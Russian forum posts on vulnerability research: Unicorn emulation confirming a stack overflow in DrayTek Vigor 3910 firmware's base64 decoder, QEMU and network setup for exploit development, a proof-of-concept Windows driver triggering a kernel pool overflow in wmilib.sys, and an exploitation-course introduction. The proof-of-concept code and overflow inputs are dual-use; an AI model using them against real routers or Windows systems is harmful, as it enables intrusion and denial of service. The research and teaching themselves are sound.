Над Unicorn engine есть отличная надстройка - Qiling, он создан специально для поиска и анализа уязвимостей. В него встроенны загрузчики файлов, а кроме того к нему можно подключить фазер и отладчик. Если будет интересно, я позже сделаю отдельную статью о Qiling.
Вернёмся к Unicorn engine. В python он устанавливается одной простой коммандой:
Bash:Copy to clipboard
pip install unicorn
Огромная проблема Unicorn Engine - недостаток документации на любых других языках, кроме китайского. На случай если кто-то вдруг знает китайский, вот [документация на китайском](https://github.com/kabeor/Unicorn-Engine- Documentation)
Разобраться с тем как его использовать вам поможет самый простой пример с сайта фреймворка. А также гора файлов с примерами его использования в C и Python:
Сегодня мы воспользуемся Python, так как с ним будет проще понять логику происходящего.
С начала я для удобства сократил размер файла sohod64. Сокращённую версию файла ищите в конце статьи.
После нескольких часов страдания из за отсутсвия вменяемой документации, у меня получился следующий скрипт:
Python:Copy to clipboard
from unicorn import *
from unicorn.arm64_const import *
import base64
# for debug part we need udbserver
# debug part
# from udbserver import udbserver
load_address = 0x40000000
stack_base = 0x45f18000
stack_size = 0x1000000
b64_decode_start = 0x40149fd4
b64_decode_end = 0x4014a2c0
safe_strlen_address = 0x4067ff58
safe_strlen_end = 0x4067ffec
address_String_encoded = 0x30000000
address_String_decoded = 0x30001000
expected_len = 0x54
# <----------------------------------------------->
# <-------------------Envs------------------------>
# <----------------------------------------------->
# Here is the decoded string
String_decoded = 'a'*0x54 + 'b'*0x20
# Here is the number of qual signs
n = (len(String_decoded) - 0x54) * 4 # math
quals = '='*n
# Here is the second output size
output_size = 0x20
# Debug
debug = False
debug_point = 0x40149fd4 # Now its b64_decode start
# <----------------------------------------------->
# <----------------------------------------------->
# <----------------------------------------------->
String_encoded = base64.b64encode(bytes(String_decoded, 'utf-8')) + bytes(quals, 'utf-8')
def load_routine():
fw = open("bins/cut_sohod64.bin", "rb")
firmware = fw.read(0x1e18b7f)
return firmware
def load_unicorn():
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
sohod64 = load_routine()
mu.mem_map(load_address, 40*1024*1024) # Binary mapping
mu.mem_map(stack_base, stack_size) # Stack mapping
mu.reg_write(UC_ARM64_REG_SP, stack_base + stack_size//2) # Set a stack pointer
mu.mem_write(stack_base, b"\x00"*stack_size) # Nulling stack
mu.mem_write(load_address, sohod64)
if debug:
# debug part
# print("[*] Emulation stars in debug mode: ")
# print("------> Host: 127.0.0.1")
# print("------> Port: 1234")
# udbserver(mu, 1234, debug_point)
print("[!] Debug is not available on Windows, becаuse we need udbserver")
return mu
def hook_code(mu, address, size, user_data):
if address == safe_strlen_address:
print("[*] Reached safe_strlen")
mu.reg_write(UC_ARM64_REG_W0, len(String_encoded)) # Just returning encoded string len
mu.reg_write(UC_ARM64_REG_PC, safe_strlen_end) # and skip the function
def run(mu):
# Mapping place for string
mu.mem_map(address_String_encoded, 2*1024*1024)
# Writing encoded string
mu.mem_write(address_String_encoded, String_encoded)
# Setting registers
mu.reg_write(UC_ARM64_REG_W0, address_String_encoded) # data
mu.reg_write(UC_ARM64_REG_W1, address_String_decoded) # dst
mu.reg_write(UC_ARM64_REG_W2, expected_len) # len
# Hook safe_strlen, coz it just return constant value. And affecting a lot of memory areas
mu.hook_add(UC_HOOK_CODE, hook_code)
try:
mu.emu_start(b64_decode_start, b64_decode_end)
except Exception as e:
print("[!] Emulation error: ")
print(e)
print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
quit()
decrypted_String = mu.mem_read(address_String_decoded, expected_len)
return decrypted_String
def main():
print("[*] Emulating vulnerable function in sohod64.bin")
print("[*] Encoded string len: {:x}".format(len(String_encoded)))
# Emulation
mu = load_unicorn()
decrypted_string = run(mu)
# Output
print("[+] Emulation returned: ")
print("\n----> Source buffer: ")
source_buffer = mu.mem_read(address_String_encoded, len(String_encoded))
print(source_buffer)
print("\n----> Target Buffer: ")
print(decrypted_string)
print("\n----> Memory after buffer: ")
# Printing the memory out of buffer
afterbuffer_mem = mu.mem_read(address_String_decoded+expected_len, output_size)
print(afterbuffer_mem)
main()
Давайте разберём этот код подробнее. Первым делом сохраним нужные нам значения:
Python:Copy to clipboard
load_address = 0x40000000
stack_base = 0x45f18000
stack_size = 0x1000000
b64_decode_start = 0x40149fd4
b64_decode_end = 0x4014a2c0
safe_strlen_address = 0x4067ff58
safe_strlen_end = 0x4067ffec
address_String_encoded = 0x30000000
address_String_decoded = 0x30001000
expected_len = 0x54
Адреса load_address
, address_String_encoded
и address_String_decoded
-
произвольные. Адрес загрузки можно брать любой, но в этом случае нужно
учитывать что это влияет на адреса начала и конца функций. В данном случае
смещения для b64_decode
и safe_strlen
взяты для версии 3.9.6.
Далее проинициализируем Unicorn:
Python:Copy to clipboard
mu = load_unicorn()
Python:Copy to clipboard
def load_routine():
fw = open("bins/cut_sohod64.bin", "rb")
firmware = fw.read(0x1e18b7f)
return firmware
def load_unicorn():
mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)
sohod64 = load_routine()
mu.mem_map(load_address, 40*1024*1024) # Binary mapping
mu.mem_map(stack_base, stack_size) # Stack mapping
mu.reg_write(UC_ARM64_REG_SP, stack_base +
stack_size//2) # Set a stack pointer
mu.mem_write(stack_base, b"\x00"*stack_size) # Nulling stack
mu.mem_write(load_address, sohod64)
return mu
Здесь мы объявляем архитектуру и выделяем память для бинаря и стека. Далее устанавливаем в регистр SP(Stack Pointer) адрес нашего стека и забиваем его нулями. После - загружаем бинарь в только что выделенную под него память.
Следующий шаг - запуск:
Python:Copy to clipboard
decrypted_string = run(mu)
Python:Copy to clipboard
def run(mu):
# Mapping place for string
mu.mem_map(address_String_encoded, 2*1024*1024)
# Writing encoded string
mu.mem_write(address_String_encoded, String_encoded)
# Setting registers
mu.reg_write(UC_ARM64_REG_W0, address_String_encoded) # data
mu.reg_write(UC_ARM64_REG_W1, address_String_decoded) # dst
mu.reg_write(UC_ARM64_REG_W2, expected_len) # len
# Hook safe_strlen, coz it just return constant value
mu.hook_add(UC_HOOK_CODE, hook_code)
try:
mu.emu_start(b64_decode_start, b64_decode_end)
except Exception as e:
print("[!] Emulation error: ")
print(e)
print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
quit()
decrypted_String = mu.mem_read(address_String_decoded, expected_len)
return decrypted_String
Здесь мы выделяем память для исходной строки, и сразу же записываем её туда. Далее устанавливаем регистры с аргументами для функции. В A64 аргументы передаются в регистрах w0-w7, по порядку. В нашем случае, так как мы будем вызывать не cgiWebLogin целиком, а только b64_decode, аргументы будут следуюшие:
Далее идёт не очевидный момент. Я устанавливаю hook на функцию safe_strlen, так как в нашем случае она возращает значение которое и так нам известно. Кроме того внутри себя функция safe_strlen вызывает множество других фукнций, поэтому её перехват позволит нам упростить и ускорить выполнение:
Python:Copy to clipboard
def hook_code(mu, address, size, user_data):
if address == safe_strlen_address:
print("[*] Reached safe_strlen")
# Just returning encoded string len
mu.reg_write(UC_ARM64_REG_W0, len(String_encoded))
mu.reg_write(UC_ARM64_REG_PC, safe_strlen_end) # and skip the function
Следующим шагом в блоке try/exept
я запускаю эмуляцию, указывая начальный и
конечный адрес выполнения(b64_decode_start
и b64_decode_end
):
Python:Copy to clipboard
try:
mu.emu_start(b64_decode_start, b64_decode_end)
except Exception as e:
print("[!] Emulation error: ")
print(e)
print("[*] IP: 0x{:x}".format(mu.reg_read(UC_ARM64_REG_PC)))
quit()
После выполнения, я просто читаю адрес памяти в который функция должна была записывать итоговую строку и возвращаю прочитанное. А после - вывожу в консоль память в буфере и после него:
Python:Copy to clipboard
print("\n----> Source buffer: ")
source_buffer = mu.mem_read(address_String_encoded, len(String_encoded))
print(source_buffer)
print("\n----> Target Buffer: ")
print(decrypted_string)
print("\n----> Memory after buffer: ")
# Printing the memory out of buffer
afterbuffer_mem = mu.mem_read(address_String_decoded+expected_len, output_size)
print(afterbuffer_mem)
Не так уж и сложно, правда?
Eсли вы обратили внимание, в коде используется библиотека udbserver
, она
нужна для отладки исполняемого в unicorn engine файла. Если вы используете
Linux и хотите посмотреть на происходящее через отладчик - просто
раскоментируйте нужные строки. Они откроют порт 1234
, к которому можно будет
подключиться с помощью gdb-mutiarch
. Но об отладке позже.
И так, перейдём к сути. Вот подсчёт нужного количества знаков '=' для успешного переполнения буфера на стеке:
Python:Copy to clipboard
# Here is the decoded string
String_decoded = 'a'*0x54 + 'b'*0x20
# Here is the number of qual signs
n = (len(String_decoded) - 0x54) * 4 # math
quals = '='*n
После исполнения скрипта, мы получаем следующее:
Code:Copy to clipboard
[*] Emulating vulnerable function in sohod64.bin
[*] Encoded string len: 11c
[*] Reached safe_strlen
[*] Reached safe_strlen
[+] Emulation returned:
----> Source buffer:
bytearray(b'YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmJiYmI=================================================================================================================================')
----> Target Buffer:
bytearray(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
----> Memory after buffer:
bytearray(b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')
Отлично, наличие уязвимости подверждено!
Эмуляция
Следующий вопрос которым необходимо озаботится перед тем как приступать к
написанию эксплойта - эмуляция прошивки. В этом смысле перед нами стоит не
сложная задача(на первый взгляд). Ведь sohod64.bin и так эмулируется в qemu,
стоит просто запустить qemu и всё?
Всё не так просто.
Кастомный qemu
Дело в том, что для запуска sohod64.bin, Vigor 3910 использует кастомную
версию Qemu. Это можно понять если заглянуть в один из файлов внутри папки
firmware:
На это указывает флаг -dtb DrayTek.
Где же нам взять этот Qemu? Всё просто, в gpl репозитории разработчика
И вот тут мы возращаемся к вопросу, который я оставил ещё в самом начале
статьи. Почему именно Ubuntu 16.04? Всё дело в том что у меня не получилось
собрать этот кастомный qemu в более новых версиях Ubuntu. Я не буду вдаваться
в подробности, если хотите - можете сами попробовать собрать его в другой
Ubuntu. Для остальных, кто хочет превентивно избавиться от проблем - ставьте
виртуалку с Ubuntu 16.04 и собирайте со спокойной душой.
Вот команды для сбора:
Bash:Copy to clipboard
cd qemu-2.12.1/
./configure --target-list="aarch64-softmmu,aarch64-linux-user"
make
sudo make install
Переписываем скрипт для запуска
Для запуска sohod64 с кастомным билдом qemu, я написал следующий скрипт:
Bash:Copy to clipboard
#!/bin/bash
# Some options
gdb_serial_option=
gdb_remote_option="-s"
log_path="../var/log/drayos"
serial_option="-chardev socket,id=char0,mux=on,port=8888,host=127.0.0.1,telnet,server,nowait,logfile=${log_path}/logpipe,logappend=on -serial chardev:char0"
changable_lanwan_path="./changable_lanwan"
rangen() {
printf "%02x" `shuf -i 1-255 -n 1`
}
wan_mac(){
idx=$1
printf "%02x\n" $((0x${C}+0x$idx)) | tail -c 3 # 3 = 2 digit + 1 terminating character
}
if [ ! -p serial0 ]; then
mkfifo serial0
fi
if [ ! -p serial1 ]; then
mkfifo serial1
fi
platform_path="./platform"
echo "x86" > $platform_path
enable_kvm_path="./enable_kvm"
echo "kvm" > $enable_kvm_path
cfg_path="/cfg/draycfg.cfg"
GCI_PATH="./app/gci"
GCI_FAIL="./app/gci_exp_fail"
GDEF_FILE="$GCI_PATH/draycfg.def"
GEXP_FLAG="$GCI_PATH/EXP_FLAG"
GEXP_FILE="$GCI_PATH/draycfg.exp"
GDEF_FILE_ADDR="0x4de0000"
GEXP_FLAG_ADDR="0x55e0000"
GEXP_FILE_ADDR="0x55e0010"
echo "kyrofang" > $GDEF_FILE
echo "0#" > $GEXP_FLAG
echo "19831026" > $GEXP_FILE
echo "n" > $changable_lanwan_path
uffs_folder="../data/uffs"
uffs_flash="${uffs_folder}/v3910_ram_flash.bin"
mkdir -p ${uffs_folder}
if [ ! -f $uffs_flash ];then
touch $uffs_flash
fi
A=$(rangen); B=$(rangen); C=$(rangen);
LAN_MAC="00:1d:aa:aa:bb:cc"
WAN_MAC="00:1d:aa:aa:bb:cd"
echo "0" > memsize
if [ ! -f $cfg_path ];then
cfg_path="./magic_file"
fi
(sleep 80 && ethtool -K qemu-lan tx off)&
qemu-system-aarch64 -M virt,gic_version=3 -cpu cortex-a57 -m 1024 \
-kernel ./vqemu/sohod64.bin $serial_option -dtb DrayTek \
-nographic $gdb_serial_option $gdb_remote_option \
-device virtio-net-pci,netdev=network-lan,mac=${LAN_MAC} \
-netdev tap,id=network-lan,ifname=qemu-lan,script=no,downscript=no \
-device virtio-net-pci,netdev=network-wan,mac=${WAN_MAC} \
-netdev tap,id=network-wan,ifname=qemu-wan,script=no,downscript=no \
-device virtio-serial-pci -chardev pipe,id=ch0,path=serial0 \
-device virtserialport,chardev=ch0,name=serial0 \
-device virtio-serial-pci -chardev pipe,id=ch1,path=serial1 \
-device virtserialport,chardev=ch1,name=serial1 \
-monitor telnet:127.0.0.1:7777,server,nowait \
-device loader,file=$platform_path,addr=0x25fff0 \
-device loader,file=$cfg_path,addr=0x260000 \
-device loader,file=$enable_kvm_path,addr=0x25ffe0 \
-device loader,file=$uffs_flash,addr=0x00be0000 \
-device loader,file=memsize,addr=0x25ff67 \
-device loader,file=$GDEF_FILE,addr=$GDEF_FILE_ADDR \
-device loader,file=$GEXP_FLAG,addr=$GEXP_FLAG_ADDR \
-device loader,file=$GEXP_FILE,addr=$GEXP_FILE_ADDR \
-device loader,file=$changable_lanwan_path,addr=0x25ff69
Выглядит не просто, однако вдаваться в подробности нам сейчас ни к чему. По сути это сборная солянка из разных файлов внутри папки firmware. Просто сохраните этот файл в папку firmware к остальным скриптам.
Для запуска, помимо переписанного скрипта, нам понадобиться следующее:
app/
и app/gci/
в директории файловой системыPython:Copy to clipboard
mkfifo var/log/drayos/logpipe
Вот и всё, осталось запустить. Порядок следующий:
cat var/log/drayos/logpipe
telnet 127.0.0.1 8888
После запуска терминал открытый на 2 шаге, должен выглядеть примерно так:
Если в ней будет появляться что-то ещё - не пугайтесь, это нормально.
Доступ к web-морде
Следующий важный вопрос который нужно затронуть - web-интерфейс. Чтобы
получить доступ к web-панели, нам придётся немного поиграться с сетью. Ради
вашего и своего удобства я написал скрипт для настройки, всё что нужно в нём
поменять, это заменить поле $netdevice$
на имя вашего сетевого интерфейса:
Bash:Copy to clipboard
ip link add br-lan type bridge
ip tuntap add qemu-lan mode tap
brctl addif br-lan $netdevice$
brctl addif br-lan qemu-lan
ip addr flush dev $netdevice$
ifconfig br-lan 192.168.1.2
ifconfig br-lan up
ifconfig qemu-lan up
ifconfig $netdevice$ up
ip link add br-wan type bridge
ip tuntap add qemu-wan mode tap
brctl addif br-wan qemu-wan
ifconfig br-lan 192.168.1.2
ifconfig br-wan up
ifconfig qemu-wan up
ethtool -K $netdevice$ gro off
ethtool -K br-lan tx off
Запускать только из под sudo!
Также учтите, что после запуска скрипта на виртуалке пропадёт соединение, чтобы этого избежать, просто создайте второй интерфейс.
Скрипт нужно запускать Перед запуском скрипта с qemu! После этого web панель
будет доступна по адресу https://192.168.1.1/weblogin.htm
Выглядеть это будет примерно так:
Отладка с gdb-multiarch
И последнее, перед тем как приступать к написанию эксплойта, нужно разобраться
с отладчиком. В качестве инструмента отладки мы будем использовать консольный
gdb-multiarch
.
Инструмент ставиться простой командой:
Bash:Copy to clipboard
sudo apt-get install gdb-multiarch
После запуска эмуляции с qemu, подключиться к sohod64.bin можно будет следющей
коммандой:
Для удобства изменим интерфейс коммандой:
Bash:Copy to clipboard
set layout asm
Если вы не умеете пользоваться gdb, то вот список комманд
Сегодня нам пригодяться не многие из них. Вот основные:
Вывести список регистров:
Bash:Copy to clipboard
i r
Вывести список брейкпоинтов:
Bash:Copy to clipboard
i b
Установить брейкпоинт на адрес:
Bash:Copy to clipboard
b *0xdeadbeef
Прочитать строку по адресу:
Bash:Copy to clipboard
x/s 0xdeadbeef
Прочитать байты по адресу:
Bash:Copy to clipboard
x/10x 0xdeadbeef
Прочитать байты по адресу хранящемуся в регистре:
Bash:Copy to clipboard
x/10x $sp
Продолжить исплнение программы:
Bash:Copy to clipboard
c
Шаг в исполнении:
Bash:Copy to clipboard
si
Продолжение в посте ниже
Где можно скачать прошивки корп айотов разных версий и патчей? У фортигейта доступны бесплатные виртуалки,но там только 2 версии. Интересует циско,фортик ,пало альто,пульс, сониквол и тд
В продолжение темы.
https://xss.is/threads/83466/post-597083
Опрос организовал т.к. сейчас мало времени и поэтому буду исходить из интереса. Концепции, используемые в эксплойте могут быть полезны новичкам и не только. Видео в закрепе, к сожалению, напрямую в страницу не встраивается.
Содержание
Введение
Уязвимый драйвер
Уязвимая функция
Ошибка старше некоторых форумчан
Пишем полупок
Выводы
Введение
В этой статье я хотел бы коротко описать процесс поиска 24-летней ошибки в драйвере Windows 11 с последующим вызовом отказа в обслуживании. На момент написания статьи я не смог найти юзермодный компонент, который вызывал бы соответствующую функцию в ядре, поэтому вектор данной уязвимости kernel mode -> kernel mode. Также я хотел бы обратить внимание на некоторые недостатки описываемого бага, которые на мой взгляд качественно повлияли бы на стабильность эксплойта при более благоприятных условиях.
Уязвимый драйвер
Баг, который я обнаружил, находится в драйвере wmilib.sys , информации о котором не сказать чтобы много. Согласно [MSDN](https://docs.microsoft.com/en- us/windows-hardware/drivers/ddi/wmilib/) он предоставляет интерфейсы WMI (Windows Management Instrumentation) для других WDM драйверов. Драйвер маленький и имеет несколько экспортных функций, описанных в [wmilib.h](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/wmilib/). Меня же заинтересовала функция WmiFireEvent.
Уязвимая функция
На листинге ниже представлен "причесанный" декомпилированный код функции. Попробуйте найти в нем уязвимость.
C:Copy to clipboard
NTSTATUS __stdcall WmiFireEvent(
PDEVICE_OBJECT DeviceObject,
LPCGUID Guid,
ULONG InstanceIndex,
ULONG EventDataSize,
PVOID EventData)
{
ULONG BufferSize; // edi
struct_PoolWithTag *re_EventData; // rax MAPDST
int status; // edi
ULONG WMIProviderId; // eax
BufferSize = NULL;
if ( EventData )
BufferSize = EventDataSize;
re_EventData = (struct_PoolWithTag *)ExAllocatePoolWithTag(NonPagedPoolNx, BufferSize + 0x40, 'LimW');//
if ( re_EventData )
{
re_EventData->guid18 = *Guid;
WMIProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);
re_EventData->FullSize = BufferSize + 0x40;
re_EventData->WMIProviderId = WMIProviderId;
re_EventData->Reserved1 = 0x8A;
re_EventData->Reserved2 = MEMORY[0xFFFFF78000000014];
re_EventData->InstanceIdx = InstanceIndex;
re_EventData->EventDataSize = BufferSize;
re_EventData->Reserved3 = 0x40;
if ( EventData )
memmove(&re_EventData[1], EventData, BufferSize);
status = IoWMIWriteEvent(re_EventData);
if ( status >= 0 )
status = 0;
else
ExFreePoolWithTag(re_EventData, 'LimW');
}
else
{
status = STATUS_INSUFFICIENT_RESOURCES;
}
if ( EventData )
ExFreePool(EventData);
return status;
Не буду долго томить, "уязвимость" типа integer overflow с последующим переполнением пула ядра. Классический сценарий для ядра Windows, когда в аллокаторе пула ExAllocatePoolWithTag (и его более безопасного собрата, начиная с Windows 11 ExAllocatePool2) мы передаем контролируемый размер + какое-то количество байт, что при достаточно большом числе вызывает выделение небольшого буфера (under allocation) и затем в этот небольшой буфер копируются данные, где параметр Size является большим числом.
Ниже приложен листинг с комментариями. Если коротко, то мы можем перезаписать ~ 4 гигабайта. На мой взгляд это не самое хорошее переполнение, т.к. накладывает ограничения на эксплуатируемую систему, не говоря уже о том, что вектор kernel mode -> kernel mode - это не то, к чему стремится уважающий себя багхантер. Но все же мне было интересно вызвать этот баг в коде.
C:Copy to clipboard
NTSTATUS __stdcall WmiFireEvent(
PDEVICE_OBJECT DeviceObject,
LPCGUID Guid,
ULONG InstanceIndex,
ULONG EventDataSize,
PVOID EventData)
{
ULONG BufferSize; // edi
struct_PoolWithTag *re_EventData; // rax MAPDST
int status; // edi
ULONG WMIProviderId; // eax
BufferSize = NULL;
if ( EventData )
BufferSize = EventDataSize;
re_EventData = (struct_PoolWithTag *)ExAllocatePoolWithTag(NonPagedPoolNx, BufferSize + 0x40, 'LimW');//
// BUG! Under allocation occure here if BufferSize at least 0xffffffc0 bytes.
// For example:
//
// Python>c_ulong(0xFFFFFFC0 + 0x40)
// c_ulong(0)
if ( re_EventData )
{
re_EventData->guid18 = *Guid;
WMIProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);
re_EventData->FullSize = BufferSize + 0x40;// 0x40 - probably some sizeof(struct) header or smth.
re_EventData->WMIProviderId = WMIProviderId;
re_EventData->Reserved1 = 0x8A;
re_EventData->Reserved2 = MEMORY[0xFFFFF78000000014];// Some timer from KUSER_SHARED_DATA if I remember correctly.
re_EventData->InstanceIdx = InstanceIndex;
re_EventData->EventDataSize = BufferSize;
re_EventData->Reserved3 = 0x40;
if ( EventData )
memmove(&re_EventData[1], EventData, BufferSize);// !Overcopy, 0xFFFFFFC0 bytes will copy into buffer[40], actually in the next chunk of memory.
// lea rcx, [rbx+40h] ; src = rbx + 0x40, where rbx points to the re_EventData
status = IoWMIWriteEvent(re_EventData);
if ( status >= 0 )
status = 0;
else
ExFreePoolWithTag(re_EventData, 'LimW');
}
else
{
status = STATUS_INSUFFICIENT_RESOURCES;
}
if ( EventData )
ExFreePool(EventData);
return status;
Ошибка старше некоторых форумчан
Обычно за кодом драйвера я сразу же лезу в исходники Windows XP, Windows Server 2003, т.к. практика подсказывает, что структуры и некоторые функции порой не меняются десятилетиями, но в этот раз почему-то забыл об этом. Уже на этапе написания полупока я полез смотреть есть ли такой драйвер и не сказать чтобы был сильно удивлен. Код функции был идентичен тому, что я видел в декомпиляторе. Обратите внимание на год шапке.
C:Copy to clipboard
/*++
Copyright (c) 1998 Microsoft Corporation
Module Name:
wmilib.c
Abstract:
WMI library utility functions
CONSIDER adding the following functionality to the library:
* Dynamic instance names
* Different instance names for different guids
Author:
AlanWar
Environment:
kernel mode only
Notes:
Revision History:
--*/
NTSTATUS
WmiFireEvent(
IN PDEVICE_OBJECT DeviceObject,
IN LPGUID Guid,
IN ULONG InstanceIndex,
IN ULONG EventDataSize,
IN PVOID EventData
)
/*++
Routine Description:
This routine will fire a WMI event using the data buffer passed. This
routine may be called at or below DPC level
Arguments:
DeviceObject - Supplies a pointer to the device object for this event
Guid is pointer to the GUID that represents the event
InstanceIndex is the index of the instance of the event
EventDataSize is the number of bytes of data that is being fired with
with the event
EventData is the data that is fired with the events. This may be NULL
if there is no data associated with the event
Return Value:
status
--*/
{
ULONG sizeNeeded;
PWNODE_SINGLE_INSTANCE event;
NTSTATUS status;
if (EventData == NULL)
{
EventDataSize = 0;
}
sizeNeeded = sizeof(WNODE_SINGLE_INSTANCE) + EventDataSize;
event = ExAllocatePoolWithTag(NonPagedPool, sizeNeeded, WMILIBPOOLTAG);
if (event != NULL)
{
event->WnodeHeader.Guid = *Guid;
event->WnodeHeader.ProviderId = IoWMIDeviceObjectToProviderId(DeviceObject);
event->WnodeHeader.BufferSize = sizeNeeded;
event->WnodeHeader.Flags = WNODE_FLAG_SINGLE_INSTANCE |
WNODE_FLAG_EVENT_ITEM |
WNODE_FLAG_STATIC_INSTANCE_NAMES;
KeQuerySystemTime(&event->WnodeHeader.TimeStamp);
event->InstanceIndex = InstanceIndex;
event->SizeDataBlock = EventDataSize;
event->DataBlockOffset = sizeof(WNODE_SINGLE_INSTANCE);
if (EventData != NULL)
{
RtlCopyMemory( &event->VariableData, EventData, EventDataSize);
ExFreePool(EventData);
}
status = IoWMIWriteEvent(event);
if (! NT_SUCCESS(status))
{
ExFreePool(event);
}
} else {
if (EventData != NULL)
{
ExFreePool(EventData);
}
status = STATUS_INSUFFICIENT_RESOURCES;
}
return(status);
}
Часто в твиттерах люди удивляются что какой-то уязвимости 15, 20, 30 лет. На самом деле в этом нет ничего удивительного, много низкоуровнего кода было написано в конце 80ых, 90ых и начале двухтысячных. Это может подтвердить любой, кто сравнивал исходные коды и декомпилированные версии драйверов, ядра. Не все, разумеется, но встречается нередко.
Пишем полупок
Не сильно заморачиваясь с пониманием того как корректно вызвать интересующий кусок кода я приступил к написанию драйвера. Частично куски кода я брал прям из старых исходников ядра.
C:Copy to clipboard
#include <wdm.h>
#include <wmilib.h>
#include <wmistr.h>
extern "C"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
UNREFERENCED_PARAMETER(DriverObject);
NTSTATUS status = STATUS_SUCCESS;
PVOID PoolData = nullptr;
UNICODE_STRING DevName = {0};
PDEVICE_OBJECT DevObject = nullptr;
PFILE_OBJECT FileObject = nullptr;
static const GUID TEST_GUID = { 0x5694188, 0xdd2, 0x423e, { 0xbc, 0x1e, 0xd, 0xd, 0x87, 0x8a, 0x2e, 0x22 } };
RtlInitUnicodeString(&DevName, L"\\Device\\CNG");
status = IoGetDeviceObjectPointer(&DevName, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &FileObject, &DevObject);
if (!NT_SUCCESS(status))
{
KdPrint(("IoGetDeviceObjectPointer failed\n"));
return status;
}
PoolData = ExAllocatePool2(POOL_FLAG_PAGED, 0x100, 0x41414141);
if (!PoolData)
{
KdPrint(("ExAllocatePoolWithTag failed\n"));
return STATUS_INSUFFICIENT_RESOURCES;
}
memset(PoolData, 0x41, 0x100);
__debugbreak();
/* Bugcheck PAGE_FAULT_IN_NONPAGED_AREA (50)
00 ffff970b`ef6b4af8 fffff805`159587c2 nt!DbgBreakPointWithStatus
01 ffff970b`ef6b4b00 fffff805`15957eb3 nt!KiBugCheckDebugBreak+0x12
02 ffff970b`ef6b4b60 fffff805`158284c7 nt!KeBugCheck2+0xba3
03 ffff970b`ef6b52d0 fffff805`15881297 nt!KeBugCheckEx+0x107
04 ffff970b`ef6b5310 fffff805`15653c4c nt!MiSystemFault+0x230567
05 ffff970b`ef6b5410 fffff805`15839029 nt!MmAccessFault+0x29c
06 ffff970b`ef6b5530 fffff805`18241380 nt!KiPageFault+0x369
07 ffff970b`ef6b56c8 fffff805`182415a6 WMILIB!memcpy+0x1c0
08 ffff970b`ef6b56d0 fffff805`343910fb WMILIB!WmiFireEvent+0xb6
*/
status = WmiFireEvent(DevObject, (LPCGUID)&TEST_GUID, 0, /*Vulnerable argument*/ 0xfffffffC, PoolData);
if (!NT_SUCCESS(status))
{
KdPrint(("WmiFireEvent failed\n"));
return status;
}
ExFreePool(PoolData);
PoolData = nullptr;
return STATUS_SUCCESS;
}
Предположительно функция WmiFireEvent должна упасть при вызове memmove, что мы и можем наблюдать в отладчике.
Перед вызовом memmove в rcx находится указатель на маленький буфер, в rdx
данные, которыми мы его переполняем, а в r8 сответственно размер.
Продолжаем исполнение и вываливаемся в исключение.
Стек вызовов выглядит следующим образом.
Ну и куда без синего экрана.
Выводы
Несмотря на то, что "уязвимость" тяжело назвать эксплуатабельной с точки зрения интересной полезной нагрузки, например LPE, такой тип ошибок достаточно распространен в ring0. К сожалению, не каждое переполнение является качественным. Идеальным сценарием была бы ситуация, когда мы можем контролировать размер целиком либо частично. Например, переполнение небольших по размеру целых чисел как unsigned short. В таком случае будет осуществляться перезапись ~ 64 Кб, для которых проще контролировать необходимое состояние пула и следовательно повысить надежность эксплойта. Пример такой уязвимости CVE-2020-17087, которая использовалась в т.н. дикой природе. По крайней мере я не встречал эксплойты, которые бы использовали "heap feng shui" в ядре по отношению к 4 Гб памяти. Если вы видели что-то подобное, то отпишите в комментариях или в личку. Другим условием идеального эксплойта безусловно будет входящий буфер, который мы можем контролировать, однако существуют примеры и с частичным контролем этого значения. В конечном итоге для идеального ядерного эксплойта желательно иметь возможность вызывать функцию из user mode и love integrity level.
P.S Надеюсь вы подчерпнули для себя что-то новое.
P.P.S. Темная тема для WinDbg кастомная.
Автор: @Mogen
Большое спасибо Dzen и @DragonSov за помощь во время создания статьи!
Источник: codeby.net
1.0. Введение.
1.1 Введение: информация в целом.
1.2 Некоторая информация про память.
1.2.1 Сегменты, структуры данных и адресное пространство.
1.2.2 Регистры.
1.2.2.1. Регистры данных.
1.2.2.2. Сегментные регистры.
1.2.2.3. Регистры-указатели.
1.2.2.4. Регистры-указатели.
1.3 Как хранятся числа в памяти, дополнительный код.
2.0. Простое переполнение буфера.
**2.1. "Тайна границ массива". **
2.1.1. Исходный код.
2.1.2. Изучим код в IDA.
2.2. Функция, которую нельзя называть.
В начале была функция, и функция эта называлась gets
, и функция
использовалась в Си. А потом программы, которые использовали её, стали ломать.
И ломали легко. Да и не только программы, а и аккаунты на машинах, запускающих
их.
В этом цикле статей мы постараемся понять, почему эти и многие другие программы стали ломать и как нам повторить это, эксплуатируя разные типы бинарных уязвимостей. Понимание и применение знаний по их эксплуатации позволит нам лучше понять, как не нужно писать код и как эксплуатировать тот код, что уже написан и скомпилирован.
Термину "бинарная уязвимость " можно дать разные определения. Но тут мы скажем, что это слабое место (часто функция или какой-либо код) в приложении. Человек, который может использовать эту уязвимость (эксплуатировать), способен ухудшить работу всего сервера, на котором запушено приложение, или, например, получить доступ к системе нежелательного уровня. А может и получить полный доступ к ней. Всё зависит от самого приложения.
Естественно, не всегда эксплуатируют уязвимости ручками. Чаще всего это делают через эксплойт(ы).
Эксплойт - скрипт или просто набор команд, которые эксплуатируют бинарную уязвимость.
Перед прочтением этого цикла статей вам следует знать, что такое ассемблер,
язык Си и как ревёрсить программы на этих языки. А так же знать работу памяти
на начальном уровне. И уметь пользоваться IDA с некоторыми другими
инструментами.
Далее я напомню некоторые (но не все) моменты, которые вам следует
понимать.
